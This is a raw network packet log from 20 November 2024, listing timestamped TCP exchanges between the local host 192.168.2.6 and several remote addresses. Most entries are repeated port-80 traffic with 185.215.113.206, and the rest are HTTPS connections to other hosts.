Nov 20, 2024 18:57:44.963354111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:44.965851068 CET	443	49848	23.44.203.90	192.168.2.6
Nov 20, 2024 18:57:45.004327059 CET	49848	443	192.168.2.6	23.44.203.90
Nov 20, 2024 18:57:45.004336119 CET	443	49848	23.44.203.90	192.168.2.6
Nov 20, 2024 18:57:45.005970001 CET	443	49848	23.44.203.90	192.168.2.6
Nov 20, 2024 18:57:45.006036997 CET	49848	443	192.168.2.6	23.44.203.90
Nov 20, 2024 18:57:45.011611938 CET	49848	443	192.168.2.6	23.44.203.90
Nov 20, 2024 18:57:45.011708021 CET	443	49848	23.44.203.90	192.168.2.6
Nov 20, 2024 18:57:45.062494040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.130059958 CET	49848	443	192.168.2.6	23.44.203.90
Nov 20, 2024 18:57:45.130073071 CET	443	49848	23.44.203.90	192.168.2.6
Nov 20, 2024 18:57:45.181988955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.190076113 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:45.194041014 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:45.194052935 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:45.194529057 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:45.194644928 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:45.195307016 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:45.195441008 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:45.197869062 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:45.197940111 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:45.231838942 CET	49848	443	192.168.2.6	23.44.203.90
Nov 20, 2024 18:57:45.290280104 CET	443	49846	152.195.19.97	192.168.2.6
Nov 20, 2024 18:57:45.290575027 CET	49846	443	192.168.2.6	152.195.19.97
Nov 20, 2024 18:57:45.290599108 CET	443	49846	152.195.19.97	192.168.2.6
Nov 20, 2024 18:57:45.291572094 CET	443	49846	152.195.19.97	192.168.2.6
Nov 20, 2024 18:57:45.292692900 CET	49846	443	192.168.2.6	152.195.19.97
Nov 20, 2024 18:57:45.292692900 CET	49846	443	192.168.2.6	152.195.19.97
Nov 20, 2024 18:57:45.292762041 CET	443	49846	152.195.19.97	192.168.2.6
Nov 20, 2024 18:57:45.292980909 CET	49846	443	192.168.2.6	152.195.19.97
Nov 20, 2024 18:57:45.335330009 CET	443	49846	152.195.19.97	192.168.2.6
Nov 20, 2024 18:57:45.395204067 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:45.395219088 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:45.395277023 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:45.395318985 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:45.395325899 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:45.395461082 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:45.395623922 CET	49862	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:45.395631075 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:45.395684958 CET	49862	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:45.397017002 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:45.397291899 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:45.397303104 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:45.397886992 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:45.397895098 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:45.398047924 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:45.398066044 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:45.398085117 CET	49862	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:45.398091078 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:45.398775101 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:45.398838043 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:45.399884939 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:45.399955034 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:45.403321028 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:45.405149937 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:45.447331905 CET	49846	443	192.168.2.6	152.195.19.97
Nov 20, 2024 18:57:45.447339058 CET	443	49846	152.195.19.97	192.168.2.6
Nov 20, 2024 18:57:45.447371960 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:45.447387934 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:45.461019039 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:45.461231947 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:45.461241007 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:45.462286949 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:45.462389946 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:45.462799072 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:45.462850094 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:45.517076969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.517118931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.517148018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.517167091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.517549992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.517602921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.517637014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.517682076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.518134117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.518179893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.518240929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.518284082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.519025087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.519037962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.519081116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.519113064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.519752026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.519767046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.519804001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.519819975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.520658016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.520699978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.520723104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.520752907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.521358967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.521409035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.521459103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.521651030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.522384882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.522398949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.522447109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.522999048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.523047924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.523149014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.523256063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.523783922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.523830891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.523884058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.523926973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.524668932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.524728060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.524749041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.524763107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.525445938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.525500059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.525562048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.525599957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.526324034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.526374102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.526417017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.526458979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.527079105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.527092934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.527124882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.527143002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.527873039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.527931929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.527966022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.528012037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.528685093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.528729916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.528825045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.528886080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.529546022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.529617071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.529638052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.529920101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.530381918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.530395031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.530430079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.530450106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.531126976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.531182051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.531223059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.531266928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.531949043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.532033920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.532035112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.532072067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.532789946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.532831907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.532839060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.532871008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.533539057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.533611059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.533636093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.533696890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.534385920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.534404039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.534451962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.535161972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.535245895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.535276890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.535346031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.535974979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.536004066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.536089897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.536794901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.536849976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.536885023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.536931038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.537600994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.537657022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.537729979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.537817955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.538825035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.538837910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.538896084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.539671898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.539716959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.539767027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.540252924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.540368080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.540375948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.540417910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.540947914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.540992975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.541042089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.541084051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.541682005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.541760921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.541774035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.541795969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.542514086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.542527914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.542567968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.542587996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.543298960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.543351889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.543546915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.543607950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.544128895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.544141054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.544270039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.544270039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.544907093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.544960022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.545047045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.545228958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.545738935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.545794964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.545861959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.545933008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.546627998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.546641111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.546689987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.547421932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.547461033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.547483921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.547497034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.548187017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.548248053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.548305988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.548346043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.548979044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.549029112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.549043894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.549079895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.549786091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.549896002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.549915075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.549936056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.550672054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.550684929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.550724983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.551433086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.551449060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.551485062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.552243948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.552289963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.552289963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.552337885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.553035975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.553080082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.553148985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.553185940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.553889036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.553936005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.553939104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.553967953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.554689884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.554702044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.554742098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.555491924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.555558920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.555588961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.555634022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.556303978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.556345940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.556407928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.556447983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.557123899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.557168007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.557230949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.557270050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.557931900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.557980061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.558052063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.558094978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.558850050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.558886051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.558931112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.559617043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.559633017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.559684038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.559715986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.560431004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.560482979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.560513020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.560569048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.561228991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.561294079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.561331987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.561986923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.562038898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.562052011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.562091112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.605532885 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:45.605859041 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:45.605873108 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:45.606888056 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:45.606955051 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:45.608230114 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:45.608293056 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:45.608530998 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:45.608536959 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:45.637072086 CET	49846	443	192.168.2.6	152.195.19.97
Nov 20, 2024 18:57:45.637080908 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:45.637096882 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:45.637110949 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:45.663407087 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:45.663431883 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:45.663814068 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:45.664151907 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:45.664164066 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:45.728010893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.728080988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.728101015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.728161097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.728360891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.728415966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.728549004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.728634119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.728646994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.728688002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.729379892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.729418039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.729451895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.729463100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.730160952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.730237961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.730338097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.730340958 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:45.730633974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.730967045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.731004000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.731065035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.731803894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.731856108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.731862068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.731904984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.732816935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.732867002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.732875109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.732928038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.733385086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.733484030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.733541965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.734217882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.734255075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.734308004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.735054970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:45.735119104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:45.735136986 CET	80	49794	185.215.113.206	192.168.2.6
